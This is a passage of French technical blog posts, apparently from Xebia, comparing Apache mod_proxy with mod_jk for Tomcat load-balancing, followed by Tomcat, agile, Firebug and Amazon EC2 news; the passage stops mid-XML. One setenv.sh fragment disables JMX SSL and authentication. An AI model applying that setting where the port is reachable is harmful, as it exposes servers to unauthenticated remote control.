La création d’AJP résulte donc de la simplicité et de la rapidité de développement souhaitées par les auteurs. Il fallait aller vite, et implémenter un proxy pleinement compatible HTTP aurait été trop long. Le module mod_proxy existe depuis 1996 dans Apache 1.1. Mais il s’agissait d’une fonctionnalité expérimentale qui n’offrait ni performance ni stabilité. A la sortie d’Apache 2, le proxy a même été dé-scopé car il ne fonctionnait plus du tout. Les développeurs vont pourtant rapidement le corriger et le réintégrer comme solution pour faire des reverse proxies. Pour la sortie d’Apache 2.2, le mod_proxy est entièrement réécrit pour supporter le load-balancing. Il offre, pour la première fois dans Apache, une solution capable de concurrencer le mod_jk en performance et en scalabilité. Cerise sur le gâteau, Apache a décidé de supporter nativement le protocole AJP en ajoutant un mod_proxy_ajp à la solution mod_proxy.

Installation

mod_proxy

Le mod_proxy fait partie de la distribution standard d’Apache HTTPD. Il est livré avec le mod_proxy_http, le mod_proxy_ajp et le mod_proxy_balancer. Il suffit donc de s’assurer que ces modules sont bien chargés au démarrage d’Apache.

mod_jk

Si mod_jk était autrefois très délicat à installer avec la compilation du code sur un serveur similaire au serveur cible, la situation s’est grandement simplifiée. Le projet Apache Tomcat Connector fournit désormais les binaires pour les principales plateformes (Linux, Windows, Free BSD, Mac, Solaris, AIX, etc). Il faut donc télécharger le binaire du module et le copier dans le répertoire contenant les modules Apache.

Configuration

Pour mieux comparer les deux solutions, nous avons choisi de prendre comme exemple l’utilisation d’Apache en front desservant deux Tomcat en load-balancing. Nous ne nous intéresserons ici qu’à la configuration d’Apache HTTPD. La configuration AJP de Tomcat étant déjà largement documentée sur le web et celle via HTTP dans nos articles précédents, nous n’aborderons pas ces problématiques.

mod_proxy_http & mod_proxy_balancer

La configuration du mod_proxy consiste d’abord à s’assurer que les modules soient bien chargés avec les directives LoadModule. Nous activons ensuite le server-status ainsi que le balancer-manager pour obtenir une interface de surveillance / administration du load-balancer. Enfin, nous avons configuré le Proxy balancer nommé my-application-cluster pour contenir nos 2 serveurs Tomcat. La dernière ligne de configuration active le reverse proxy pour que les requêtes sur /my-application soient redirigées vers le /my-application du load-balancer.

Configuration avec mod_proxy_http & mod_proxy_balancer – httpd.conf

# LOAD MODULES
LoadModule proxy_module libexec/apache2/mod_proxy.so
LoadModule proxy_http_module libexec/apache2/mod_proxy_http.so
LoadModule proxy_balancer_module libexec/apache2/mod_proxy_balancer.so
# STATUS AND MONITORING
# Display proxy balancer status in /server-status page
ProxyStatus On
<Location /server-status>
    SetHandler server-info
    Order deny,allow
    Deny from all
    Allow from localhost
</Location>
<Location /balancer-manager>
    SetHandler balancer-manager
    Order Deny,Allow
    Deny from all
    Allow from localhost
</Location>
# APPLICATIONS CONFIGURATION
<Proxy balancer://my-application-cluster>
   BalancerMember      http://node-1:8080 route=node-1 disablereuse=On
   # ...
   BalancerMember      http://node-n:8081 route=node-n disablereuse=On
</Proxy>
ProxyPreserveHost On
ProxyPass /my-application balancer://my-application-cluster/my-application stickysession=JSESSIONID

Vous pouvez le constater, la configuration est parfaitement intégrée à la configuration standard d’Apache HTTPD. Les équipes de production n’auront à priori pas de grandes difficultés à prendre en main ce type de configuration qui nécessite seulement de savoir parcourir la documentation Apache déjà bien connue des administrateurs.

mod_jk

La première étape consiste à configurer le serveur Apache pour qu’il utilise le mod_jk. Tout commence par le chargement du module avec la directive LoadModule. Ensuite nous fournissons le chemin du deuxième fichier de configuration définissant les workers. La directive JkMount permet ensuite d’associer un worker du mod_jk à un pattern d’url du serveur. Pour chaque requête dont l’URL correspond au pattern, Apache va déléguer le traitement au mod_jk. Nous montons d’abord le worker jkstatus sur /jkmanager en autorisant l’accès uniquement depuis le système local. C’est ensuite au tour du loadbalancer qui servira notre application.

Configuration avec mod_jk – httpd.conf

# LOAD MODULES
LoadModule jk_module libexec/apache2/mod_jk.so
# MOD_JK CONFIGURATION FILE
JkWorkersFile /etc/apache2/other/workers.properties
# MOD_JK PROPRIETARY LOG FILE
JkLogFile     /var/log/apache2/mod_jk.log
# NEEDED ON MAC SNOW LEOPARD
JkShmFile     /var/log/apache2/
# STATUS AND MONITORING
JkMount /jkmanager/* jkstatus
<Location /jkmanager>
    Order deny,allow
    Deny from all
    Allow from localhost
</Location>
# APPLICATIONS CONFIGURATION
JkMount /my-application/* loadbalancer

Il faut maintenant configurer le mod_jk proprement dit dans son fichier de configuration spécifique. Il s’agit d’une liste de propriétés commençant toujours par worker.. La propriété worker.list fournit les noms des workers actifs. Le nom est ensuite utilisé pour paramétrer le worker avec des clés de la forme worker.nomWorker.parametre. Le premier worker activé jkstatus utilise le type spécial status qui correspond à l’interface de suivi et de gestion du mod_jk. Le deuxième worker loadbalancer est en fait chargé de répartir les sessions entre le worker1 et le worker2 via le type lb. Ce sont finalement les workers 1 à n qui assurent le transport des requêtes sur AJP1.3 vers le port 8009 d’un Tomcat distant.
Configuration avec mod_jk – workers.properties

# WORKERS AND PSEUDO WORKER
worker.list=jkstatus, loadbalancer
# STATUS AND MANAGEMENT PSEUDO WORKER
worker.jkstatus.type=status
# WORKER 1 TO N
worker.worker1.type=ajp13
worker.worker1.host=node-1
worker.worker1.port=8009
# ...
worker.worker2.port=8009
worker.worker2.host=node-n
worker.worker2.type=ajp13
# LOAD BALANCER PSEUDO WORKER
worker.loadbalancer.type=lb
worker.loadbalancer.balance_workers=worker1,worker2

Avec ses deux fichiers de configurations séparés et la syntaxe « rustique » du worker.properties, la configuration est définitivement le point faible du mod_jk. L’un des seuls avantages réside dans le nombre impressionnant de paramètres supportés qui permet un paramétrage fin si le besoin s’en fait sentir. Si seulement nous n’étions pas forcés à tant de verbosité !

Interfaces graphiques

Les deux modules fournissent des interfaces web pour assurer la supervision du load-balancer. Cette fois, le mod_proxy se contente de fournir des statistiques réduites dans une interface minimaliste. L’interface liste principalement le statut de chaque nœud du load-balancer ainsi que la quantité de données envoyée et reçue par nœud.

Outre le suivi des statistiques du load-balancer, le Balancer Manager permet aussi de faire des modifications à chaud, éditer les workers, les passer en offline, voire même changer la méthode de répartition utilisée.

De son côté, le mod_jk prouve sa maturité avec son interface rustique elle aussi, mais plus voire trop complète. Elle est composée de plusieurs pages dont une page d’accueil similaire en tout point à l’interface du mod_proxy. L’avantage réside dans la fourniture d’une page détaillant l’état complet pour chaque nœud.

Mais le mod_jk ne se contente pas de cela : il fournit aussi une page permettant de modifier à chaud la configuration du load-balancer. Il est parfaitement envisageable pour le déploiement en production d’une nouvelle version de l’application de couper les nœuds un à un au moment de leur mise à jour puis de les réactiver sans interruption du service.

Attention toutefois, car les modifications faites par ce biais sont uniquement enregistrées en mémoire, la nouvelle configuration sera perdue au prochain redémarrage d’Apache.

La mince différence vient probablement de la jeunesse de la solution de load-balancing du mod_proxy face à la longue expérience de production du mod_jk. Mais elle ne saurait justifier une préférence pour l’un des deux modules, qui sur ce point sont très proches.

LoadBalancing et gestion d’erreur

Outre la configuration et l’interface graphique, les deux solutions disposent de quelques fonctions avancées notamment en ce qui concerne la gestion d’erreur et la gestion des sockets réseaux. Les deux modules utilisent des pools de connexion rangés par Thread du serveur Apache et par membres du cluster.
Avec le mod_proxy, il est possible de choisir parmi trois algorithmes de répartition de charge :

• Par requête : la charge est répartie pour chaque requête entrante en fonction de la session si elle existe.
• Par trafic réseau : les requêtes sont envoyées vers le membre du cluster ayant reçu le moins de trafic.
• Par taux d’occupation : la charge est répartie en fonction du nombre de requêtes en cours de traitement ou en attente.

En ce qui concerne la gestion d’erreur, il n’y a pas grand chose à dire car il n’y a pas grand chose de fait. Si un timeout claque, un certain nombre de tentatives de reconnexion seront réalisées jusqu’à ce que le noeud soit marqué en erreur et n’en décolle plus.

C’est sur la gestion d’erreur que le mod_jk possède une plus grande sophistication que son récent concurrent.
Tout d’abord le protocole AJP fournit un mécanisme de health check (CPing/CPong) qui permet de tester l’état du lien entre le serveur frontal et un membre du cluster. Cependant, c’est beaucoup plus limité que les heart beat des load balancer hardware, il n’est pas possible de tester une url pour détecter des indisponibilités applicatives (échec de démarrage de la web app, web app KO à cause de l’indisponibilité d’un backend clef).
D’autre part, le module fait une distinction entre les erreurs locales temporaires qui sont sans impact particulier, un code d’erreur HTTP par exemple, et les erreurs globales qui indiquent que le serveur est clairement en erreur et ne recevra plus de nouvelles requêtes. Il existe un système d’escalade qui, en cas de répétition trop fréquente d’erreurs locales sur un noeud se charge de le passer en erreur globale. Le module se charge de réactiver le noeud en mode recovery après un délai paramétré.

Côté répartition de charge, mod_jk apporte un dernier algorithme de répartition reposant sur le nombre de sessions HTTP en cours par serveur. Cette méthode est relativement récente puisqu’elle est apparue dans la version 1.2.20 du mod_jk, actuellement en version 1.2.29. Elle est recommandée pour les applications chargeant fortement la session et de ce fait, supportant un nombre limité de sessions par serveur ; ce cas d’utilisation est assez marginal.
Dans les deux modules, l’algorithme de répartition est pondéré par un facteur nommé « lbfactor », qui permet d’appliquer des quotas de travail aux serveurs. Ce système s’avère utile si les serveurs sont de puissances différentes par exemple.

Le mod_jk marque ici un petit point sur le mod_proxy grâce à sa gestion d’erreur plus fine. Attention aux effets de bord, le retry sur timeout en a surpris plus d’un et l’éviction de serveurs tomcat pour cause de répétition d’erreur est un beau sujet de déni de service

Pour le reste, le mod_proxy colle au fonctionnement du mod_jk, ce qui ne manquera pas de faciliter son utilisation aux habitués du mod_jk.

Exploitation et diagnostic des problèmes

mod_proxy_http présente sur mod_jk le très grand avantage d’utiliser un protocole standard, HTTP, connu de tous les acteurs d’un système d’information alors que mod_jk repose sur le protocole AJP que quasiment personne ne connait. Les administrateurs systèmes et réseaux sont habitués à HTTP et notamment à ses connections persistantes (aka HTTP keepAlive) ; ils savent ajuster leurs algorithmes de load balancing, les timeouts des firewalls et le dimensionnement des piles tcp/ip des serveurs (ulimit, tcp_keepalive_intvl, tcp_tw_bucket, etc).

Un autre atout de mod_proxy est la facilité de diagnostic. N’importe quel acteur du système d’information peut utiliser curl, wget, telnet, elinks voire wireshark pour troubleshooter un problème de communication HTTP; ce n’est pas le cas avec le protocole AJP qui n’est pas human readable et encore moins human writable. Choisir AJP mérite de former les administrateurs systèmes et réseaux et de prévoir des outils de tests permettant de requêter un connecteur AJP mais ce n’est hélas que très rarement fait.

En cas de problème réseau avec HTTP comme avec AJP, n’oubliez pas que désactiver les connections persistantes simplifie grandement les investigations et n’a rien de scandaleux en 2010 (cf HAProxy) ; c’est « disablereuse=On » pour mod_proxy_http et « JkOptions +DisableReuse » pour mod_jk

Conclusion

Avec sa simplicité de configuration, sa répartition de charge calquée sur le mod_jk, le mod_proxy conviendra parfaitement dans la grande majorité des cas. Il s’accommode de clusters répartissant la charge sur plusieurs noeuds ou bien en tant que simple reverse proxy. La cerise sur le gateau étant l’utilisation du protocole HTTP qui permet de garantir la portabilité des services et facilite grandement l’analyse du trafic.

A nos yeux, avec l’intégration native de mod_proxy_http et mod_proxy_balancer à Apache, il n’y a plus de justification à ajouter le module additionnel mod_jk ni d’introduire le protocole méconnu AJP. Les optimisations d’AJP ne sont plus de mise aujourd’hui et ne justifient donc pas l’utilisation d’un mod_jk.

Il reste, dans les deux cas, quelques efforts à faire pour permettre de plus facilement monter des serveurs à chaud dans un cluster. Pour la haute disponibilité sans perte, il faudra mettre en place un cluster Tomcat assurant la réplication des sessions utilisateur entre les serveurs. Encore faut-il en avoir vraiment besoin …

Attention, la recommandation de Tomcat est encore le mod_jk et, il est important de garder fonctionnel ce qui marche déjà. Donc, quoiqu’il arrive, si vous avez déjà une solution fonctionnelle avec le mod_jk, inutile de migrer. Pour ce qui est de l’interface et de la gestion d’erreur, nous parions sur l’avenir du mod_proxy qui est en développement intensif et bénéficie des corrections de bug de son ainé. Reste un nouveau venu dans le paysage développé par Jboss qui attire déjà notre attention c’est le mod_cluster actuellement, il n’est utilisable qu’avec Jboss AS. L’avantage de cette nouvelle solution en devenir est de suivre le cycle de vie des applications via un protocole spécifique MCMP reposant tout de même sur HTTP.

Actualité éditeurs / SSII

• Tomcat 6.0.24, version mineure mais non négligeable

Agilité

• Le pair-programming comment ça marche ?

RIA

• Firebug passe en version 1.5

Actualité éditeurs / SSII

Tomcat 6.0.24, version mineure mais non négligeable

Nous allons commencer par un clin d’oeil humoristique, même les plus grands ont des difficultés à builder, le projet Tomcat a brulé trois tags subversion pour faire une release sans défaut, il y a eu de nombreux problème d’adaptation des sauts de ligne aux plateformes Windows/Unix-Linux .

Ensuite, la sécurité avec la correction de la faille CVE-2009-3555 appelée « SSL-Man-In-The-Middle attack » qui intéressera ceux qui gèrent SSL avec Tomcat.

Enfin, nous avons retenu deux nouvelles fonctionnalités qui nous paraissent particulièrement utiles :

L’intégration de la RemoteIpValve pour connaitre l'adresse IP de l'internaute et le protocole (http/https) utilisé lorsque Tomcat est précédé de load balancers et/ou d'un serveur web. Nous en avons longuement parlé dans Tomcat : Adresse IP de l'internaute, load balancer, reverse proxy et header Http X-Forwarded-For et dans Tomcat, SSL, communications sécurisées et X-Forwarded-Proto.
Exemple :
Fragment de server.xml pour déclarer le RemoteIpValve avec utilisation de X-Forwarded-Proto :

<Valve className="org.apache.catalina.valves.RemoteIpValve" protocolHeader="X-Forwarded-Proto" />
<!-- AccessLogValve must be declared after RemoteIpValve -->
<Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
       prefix="localhost_access_log." suffix=".txt" pattern="common" resolveHosts="false"/>

L'intégration du JmxRemoteLifecycleListener qui permet de figer le deuxième port d'écoute RMI et ainsi se connecter avec VisualVM et un tunnel SSH pour passer les firewalls. A nous le profiling sur les serveurs de production ! Mais attention aux chausses-trappes :

• il faut télécharger le catalina-jmx-remote.jar et le copier sous $TOMCAT_HOME/lib,
• un vilain problème de UnmarshalException/ClassNotFoundException dans les clients comme Hyperic HQ si vous activez useLocalPorts (contournement ici),
• les propriétés à définir dans setenv.sh (ou catalina.properties) en plus de la déclaration dans server.xml.

L'occasion d'une contribution ?
Exemple :
Fragment de setenv.sh pour déclarer des variables d'environnement de JmxRemoteLifecycleListener :

-Dcom.sun.management.jmxremote.ssl=false
-Dcom.sun.management.jmxremote.authenticate=false

Fragment de server.xml pour déclarer le JmxRemoteLifecycleListener :

<Listener className="org.apache.catalina.mbeans.JmxRemoteLifecycleListener"
          rmiRegistryPortPlatform="6969"
          rmiServerPortPlatform="7969"
          useLocalPorts="true" />

Agilité

Le pair-programming comment ça marche ?

Stuart Wray de la Royal School of Signals, s'est fendu d'un article sur le fonctionnement du pair-programming dans l'édition de Janvier du magazine de l'IEEE. Dans l'article, il liste quatre bonne pratiques permettant de garantir selon ses termes, l'efficacité du développement par pair. Il ne s'agit pas de simplement développer à deux l'un au clavier et l'autre le doigt sur l'écran.

• Dialogue entre les développeurs :
  Il est important de verbaliser les problèmes rencontrés de façon intelligible. Présenter une difficulté à un tiers permet de garder le focus dessus et l'effort de présentation force à clarifier la situation. Il faut sortir la tête du mur pour résoudre les problèmes et parfois le seul fait de présenter le blocage permet de trouver la solution. L'auteur identifie la conversation comme un point clé permettant aux paires d'être et de rester productifs.
• Voir plus de détails :
  Un phénomène bien connu de tous, deux personnes ne voient pas les même choses au même moment. C'est à cela que sert la relecture sur le blog Xebia. Il y a toujours des fautes d'inattention, liés à des centre d'intérêts différents par exemple. En paire, un développeurs trouve plus rapidement certaines erreurs que son collègue qui en voit d'autres. Celui qui ne tape pas au clavier repère toujours beaucoup plus rapidement les coquilles.
  Stuart lève notre attention sur la fatigue des paires, en travaillant ensemble, les développeurs commencent à repérer les mêmes erreurs et à fixer leur attention sur les mêmes points. La productivité est alors en chute libre et l'apport du pair-programming se perd. Il faut prévoir des rotations régulière entre les paires pour se prémunir contre cet effet de bord.
• Combattre les mauvaises pratiques :
  Les deux développeurs doivent prendre l'engagement de coder en respectant une convention, en utilisant des bonnes pratiques. Chacun est juge du travail de son voisin, pourtant a terme c'est le travail des deux ensemble qui sera jugé. Cet engagement nécessaire des deux parties augmente la responsabilité de chacun sur la qualité du code produit. Posez vous la question : faites vous plus propre en développant seul dans votre cave ou en développant sous le regard attentif de votre paire ?
• Partager et juger l'expertise :
  Aucun individu n'a la même productivité et la différence varie au moins d'un facteur de un à dix entre deux individus. Cela implique des erreurs d'estimation temporelle par exemple si votre héros Java qui code les yeux fermés annonce une journée pour une tache et qu'elle est réalisée par un autre le temps passé ne sera sûrement pas d'une journée (Tous le monde ne peut pas coder les yeux fermés). C'est seulement en collaborant étroitement avec un développeur qu'il devient possible de juger de ses capacités. Mais avec le pair programming et la rotation des paires chaque développeur connait les domaines d'expertise des autres et sait se positionner par rapport aux autres. Les estimations seront donc plus réaliste dans une équipe en pair programming.

• La news sur InfoQ
• L'article complet

RIA

Firebug passe en version 1.5

Firebug, le plugin Firefox ultime pour le débogage de nos applications web, passe en version 1.5 (via Ajaxian).
Pour rappel, cet outil permet d'inspecter notre code HTML, CSS et Javascript, de l'éditer avec répercutions direct sur la page, d'analyser les flux XMLHttpRequest avec le nombre d'appels effectués ainsi que leur durée... En bref, un outil incontournable !

Les corrections de bugs sont nombreuses et les nouvelles fonctionnalités sont aussi au rendez-vous. On appréciera ainsi un mode d'inspection encore plus robuste, une boîte d'information rapide lors de l'inspection, l'ajout du bouton de persistance, le blocage du Javascript et des évènements sur un breakpoint, les nombreux nouveaux breakpoints ou bien encore l'explorateur XML pour une réponse de type XML. Ces deux derniers points seront à coup sûr des fonctionnalités clés pour le débogage de nos applications.

Si vous ne le possédez pas encore, c'est par ici que cela se passe.

Amazon Elastic Compute Cloud (aka EC2), et de manière générale les Amazon Web Services, ont attiré l’attention de nombreuses personnes pour la flexibilité de déploiement qu’ils permettent.

Cette plate-forme de Cloud Computing a recourt à la virtualisation pour créer à la demande des instances de serveurs directement utilisables. Il s’agit donc d’une approche totalement différente des hébergements traditionnels.

Lorsque l’on parle d’EC2, il est souvent question du déploiement de sites Web de type réseaux sociaux pouvant connaître de grands pics de trafic imprévisibles. On met alors en avant l’élasticité de configuration qu’apporte EC2, par définition. En revanche, il est rarement question des problématiques de haute disponibilité ou des bonnes pratiques à suivre pour les déploiements d’architectures multi-tiers classiques.
De même, au-delà de l’élasticité, les justifications du déploiement sur EC2 sont en général peu abordées.

Chris Richardson, créateur de CloudFoundry (récemment racheté par SpringSource), nous a offert une présentation très complète sur l’ensemble de ces sujets rarement abordés autour des Web Services d’Amazon.

Le choix d’EC2 pour le déploiement d’applications Web

Le déploiement d’une application Web sur EC2 se justifie par les avantages suivants :

• Mises en production simplifiées et moins sujettes aux erreurs humaines,
• Possibilité d’effectuer des snapshots de l’état d’un serveur à un instant donné, de le sauvegarder pour le restaurer plus tard en cas de défaillance,
• Réduction des tâches de maintenances par rapport à un hébergement interne à l’entreprise (cet avantage peut être invoqué pour tout type d’hébergement externalisé),
• Coût réduit dans certains cas.

Le système de facturation particulier d’Amazon fait que le coût total de possession peut être avantageux dans une configuration connaissant des pics de trafic importants.

La mise en production est quant à elle simplifiée par la possibilité d’effectuer un déploiement préliminaire sur un clone de l’environnement de production : on double alors le nombre d’instances utilisées. Une fois le déploiement terminé, testé, et validé, il suffit de diriger le trafic vers l’infrastructure clone puis d’éteindre l’infrastructure initiale. On reproduit ainsi le mécanisme de double buffer utilisé en programmation graphique.

En contrepartie, EC2 possède certaines limitations :

• Coût supérieur à un hébergement classique pour les instances utilisées 24×7,
• Impossible, actuellement de créer des instances de taille très importante (taille mémoire maximale de 68 Go, ce qui peut être limitant pour les très grosses bases de données),
• Absence de stockage à accès rapide : on ne trouve pas sur EC2 d’équivalent à RAID SAS / SCSI,
• EC2 ne dispose pas de la certification PCI requise pour les paiements électroniques.

Architecture haute disponibilité sur EC2

Les applications Web Java EE fonctionnant sur des middlewares comme Tomcat nécessitent un déploiement en cluster pour assurer leur haute disponibilité en cas de faille de l’un des nœuds. Pour des raisons de performance, de flexibilité de configuration, ou pour d’autres contraintes techniques (nécessité d’une gestion particulière des sticky sessions, gestion de la compression deflate/gzip, mise en cache, environnement Web hétérogène, …), il est courant de mettre en place des serveurs frontaux Apache assurant un load balancing. Ces serveurs Apache sont alors eux-même précédés d’un load balancer afin d’exposer une IP unique aux visiteurs.

Chris Richardson nous montre alors que ce type de configuration est tout à fait réalisable avec l’infrastructure d’Amazon. Il prend alors la forme suivante :

Sur EC2, chacun des tiers de cette architecture soulève des problématiques distinctes.

Apache et load balancing

Amazon fournit un mécanisme de load balancing clé en main : l’Elastic Load Balancing. Ce répartiteur ne propose malheureusement pas d’affinité de session. Si une telle fonctionnalité est nécessaire pour le bon fonctionnement de l’application, il sera nécessaire d’avoir des serveurs Apache sur EC2 configurés avec mod_proxy en mode balancer. Ces serveurs seront alors accédés par Elastic Load Balancer.

Si l’on souhaite augmenter ou diminuer dynamiquement le nombre d’instances Tomcat utilisées, il est nécessaire de mettre à jour le balancer en amont pour le prévenir de ce changement de topologie. Une telle synergie existe nativement entre EC2 et Elastic Load Balancing, malheureusement ce n’est pas encore le cas avec Apache (le récent JBoss mod_cluster et les prochaines versions de mod_proxy_balancer améliorent la situation).

Tomcat

La couche applicative est susceptible de rencontrer des problèmes de compatibilité avec EC2. En effet la topologie réseau particulière d’EC2 rend le multicast impossible. Par conséquent, l’ensemble des frameworks utilisant le multicast pour découvrir leurs voisins ne pourront fonctionner.

Cette limitation peut être contournée, mais nécessite des développements dédiés. Il s’agit de mettre en place un registre en se basant sur les services d’AWS pour découvrir les instances démarrées ou en utilisant JGroups over TCP.

Le provisioning dynamique des instances EC2 dédiées aux serveurs applicatifs peut se faire via le mécanisme Amazon Auto Scaling (bêta). Là encore, des limitations doivent être prises en compte :

• Afin de déterminer si le nombre d’instances doit être augmenté ou réduit, Amazon Auto Scaling repose sur les web services Amazon CloudWatch qui retournent des métriques bas niveau sur les instances EC2 (CPU, mémoire, réseau, I/O). Il n’est pour le moment pas possible de suivre les métriques applicatives via JMX par exemple,
• Les instances doivent être capable de s’auto-configurer au démarrage pour offrir in fine un service Tomcat fonctionnel,
• Comme noté précédemment, les instances doivent s’enregistrer elles-même auprès des serveurs Apache.

MySQL

MySQL peut être déployé sur une instance EC2 sans difficulté. Le stockage peut se faire sur le disque local ou sur Amazon Elastic Block Storage (EBS) selon les besoins en latence ou en fiabilité avec des backups réguliers sur Amazon Simple Storage Service. Toutefois, afin de limiter les tâches d’administration qui peuvent aller à l’encontre de la logique d’externalisation, il est possible d’utiliser le très récent Amazon Relational Database Service.

Ce service offre un stockage MySQL dont l’administration est à la charge d’Amazon. Les bases de données MySQL sont alors stockées sur EBS.

Traitement de batchs

Si l’application Web déployée sur EC2 doit effectuer beaucoup de traitements lourds, il peut être souhaitable de dédier des instances à cette tâche. Ces workers recevront alors des tâches à traiter via une file SQS (Simple Queue Service).

Dans le cas où il serait intéressant de faire évoluer le nombre de workers dynamiquement, il est possible de démarrer de nouvelles instances et de les laisser consommer des tâches sur la file d’attente SQS.

Chris Richardson donnait ainsi l’exemple d’un site gérant des photos et ayant besoin de générer des aperçus après upload. Dans cette situation, il est intéressant d’adapter le nombre de workers à la charge du moment sujette à de fortes variations au cours de la journée. La figure suivante illustre cette configuration, les données d’entrée et de sortie du traitement étant ici stockées sur S3 :

Problématiques de sécurité

La sécurité est probablement la principale crainte avec le Cloud Computing. Avec AWS plusieurs solutions existent pour adresser cette problématique :

• Définir des security group réunissant l’ensemble des instances d’une même couche ; n’autoriser les communications qu’entre les groupes susceptibles de communiquer ensemble ainsi que les communications SSH provenant des équipes d’administration
• Renforcer au besoin cette stratégie par la mise en place de configurations IPTable locales

En outre, en raison de l’échelle mondiale d’Amazon, une difficulté supplémentaire est qu’il n’est pas possible de savoir dans quel pays sont stockées les données, ce qui peut être problématique dans certaines situations.

Un nouvel élément de l’offre Amazon pour satisfaire les besoins de sécurité de ses clients est le récent Amazon Virtual Private Cloud qui permet de connecter des serveurs Amazon EC2 directement au réseau privé d’une entreprise grâce à un VPN plutôt que de les connecter à l’Internet. On obtient alors une topologie similaire aux Wide Area Networks qui relient les différents continents dans les systèmes d’information des grandes multi-nationales.

Enfin, il est bon de noter qu’Amazon garantit que l’ensemble des données stockées sur les disques locaux seront effacées avant la ré-attribution de l’instance à un autre utilisateur.

Intégration des Amazon Web Services aux applications

Jusqu’ici il était question d’adapter EC2 aux principes d’architectures classiques. Chris Richardson insiste ensuite sur la possibilité de tirer parti des services proposés nativement par la plate-forme Amazon Web Services.

Stockage de fichiers avec S3

Les instances EC2 disposent toutes d’un stockage local. Toutefois, ce stockage est éphémère par nature puisqu’il est perdu dès que l’instance est éteinte (suite à une opération volontaire, ou à une défaillance matérielle).

Simple Storage Service (S3) fournit un service de stockage à distance dont la fiabilité est assurée par Amazon. Les opérations de création, lecture, écriture, et suppression se font par une API REST.

Dans ce contexte, les applications déployées sur Amazon EC2 ont intérêt à utiliser directement ces possibilités plutôt que de continuer à s’appuyer sur le stockage local en tablant sur sa fiabilité ou en laissant un script tiers assurer le backup régulier sur S3. On notera toutefois que S3 ne permet pas de reprendre un upload interrompu ce qui pourra se révéler gênant avec le transfert de gros fichiers.

L’API JetS3t permet d’accéder simplement à S3 depuis une application Java.

Persistance de données avec SimpleDB

Amazon Simple DB est une alternative intéressante au déploiement d’une base de données relationnelle telle que MySQL. Nous noterons que SimpleDB offre désormais le choix d’une localisation en Europe.

Il s’agit d’une base de données non relationnelle, sans schéma et adoptant les préceptes du NoSQL. Ainsi, il n’est pas possible d’effectuer des jointures, des transactions, ou de définir des verrous.

Les applications peuvent s’y intégrer en utilisant l’API SOAP ou REST. L’absence de jointure doit être comblée par une dé-normalisation et une duplication de certains éléments dans le modèle de données. Enfin, de par sa nature, il est préférable de paralléliser les lectures sur SimpleDB, afin de bénéficier d’une latence améliorée par rapport aux invocations en série.

Les applications Java peuvent utiliser Typica pour accéder à SimpleDB ou encore SimpleJPA qui propose une implémentation JPA pour SimpleDB.

Amélioration des performances avec CloudFront

CloudFront est la solution de Content Delivery Network (CDN) d’Amazon. Elle s’intègre naturellement avec S3 en permettant d’enregistrer simplement un bucket auprès de CloudFront afin que ce dernier assure la diffusion de son contenu.

CloudFront dispose de serveurs de proximité aux États-Unis, en Europe et en Asie.

La question du Platform as a Service (PaaS)

En fin de présentation, Chris Richardson aborde la question du Platform as a Service (PaaS). Google App Engine et Microsoft Azure proposent déjà des solutions intéressantes pour le déploiement d’application.

Il remarque par contre que ces systèmes ne sont pas très flexibles et imposent beaucoup de contraintes : limitation à 30 secondes pour une requête chez Google, fonctionnalités limitées rendant de nombreux frameworks incompatibles, …

En toute logique, compte tenu de son affinité à CloudFoundry, il suggère alors de le considérer comme une opportunité afin de profiter de la plus grande flexibilité qu’il offre face à la solution de Google.

Conclusion

Chris Richardson nous a présenté ici l’ensemble des problématiques liées à une utilisation professionnelle et réaliste d’EC2 et d’AWS.

On ne peut que saluer l’orientation résolument ni commerciale ni élogieuse de son discours permettant de mieux saisir les enjeux d’EC2 pour l’entreprise.

Questionné au sujet des perspectives de résolutions des différents problèmes qu’il a pu décrire, Chris Richardson nous a fait remarquer que SpringSource était dans une situation confortable pour s’y attaquer puisqu’ils comptent dans leurs rangs des commiteurs Apache et Tomcat. Ainsi, on peut se laisser aller à imaginer un ensemble d’adaptations de mod_proxy ou de Tomcat pour mieux supporter l’infrastructure dynamique particulière d’EC2.

Pourquoi utilisons nous SSL ? Qu’est ce qu’une communication sécurisée ?

Il est souvent nécessaire de protéger les accès à différents services d’une application web. C’est le cas par exemple des formulaires d’authentification. Il faut donc sécuriser tout ou partie des services de l’application. Mais qu’est-ce qu’une application sécurisée ? La sécurité informatique repose sur quatre grande règles: confidentialité, intégrité, disponibilité et non répudiation. Si votre application respecte ces 4 règles, alors elle est sécurisée.

La plupart du temps, SSL est utilisé pour adresser la confidentialité et l’intégrité des communications web échangées entre le client et le serveur. Schématiquement, SSL encapsule le protocole HTTP dans un canal sécurisé. Le canal utilise un chiffrage fort qui garantie la confidentialité de la communication. Pour garantir que les données ne sont ni modifiées ni rejouées par un tiers, SSL signe et numérote les messages échangés. De plus, SSL supporte l’utilisation de certificats qui vont permettre de garantir l’identité des interlocuteurs. S’il est possible d’utiliser un certificat client pour authentifier l’utilisateur, dans la grande majorité des cas, seul le serveur possède son certificat. La mise en place de certificats clients à grande échelle, via une PKI par exemple, est un sujet à part entière que nous n’aborderons pas ici.
Dans le schéma ci-dessous, les communications provenant d’Internet sont sécurisées grâce à l’utilisation de SSL. Les communications provenant des autres serveurs de la « zone de confiance » du data center n’utilisent pas SSL. Certains estiment que cette dispense vient du fait que tous les messages doivent passer en clair dans la zone de confiance pour que les outils de sécurité puissent surveiller tout ce qui transite ; d’autres avanceront que SSL est inutile car d’autres techniques de sécurisation sont utilisées (audit de la couche réseau, gestion des permissions sur les serveurs, etc). Quelle que soit la motivation, il est fréquent de ne pas utiliser SSL pour les communications internes ; cela simplifie le tuning et le dimensionnement de nos applications.

Comment savoir en Java si une requête HTTP est sécurisée ou utilise SSL ?

L’API Servlet offre une méthode générique ServletRequest.isSecure() est ServletRequest.getScheme() qui indique le protocole utilisé : http, https, etc

Comment forcer l’utilisation de communications sécurisées (SSL) en Java

Les frameworks web communément utilisés en Java permettent de forcer de façon déclarative l’utilisation d’un canal sécurisé (ie. https) pour les requêtes entrantes. Dans les faits, ils interdisent l’accès à la ressource via un canal non sécurisé en retournant l’erreur HTTP 403. Ils peuvent aussi forcer la redirection sur HTTPS.

Spring Security

Spring Security utilise l’attribut requires-channel="https" qui est hélas légèrement trompeur puisqu’il repose sur la méthode ServletRequest.isSecure() plutôt que sur ServletRequest.getScheme() et ne vérifie donc pas l’utilisation du protocole https mais le fait que la requête est secure pour le moteur de servlet.

<beans
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:sec="http://www.springframework.org/schema/security"
   xsi:schemaLocation="
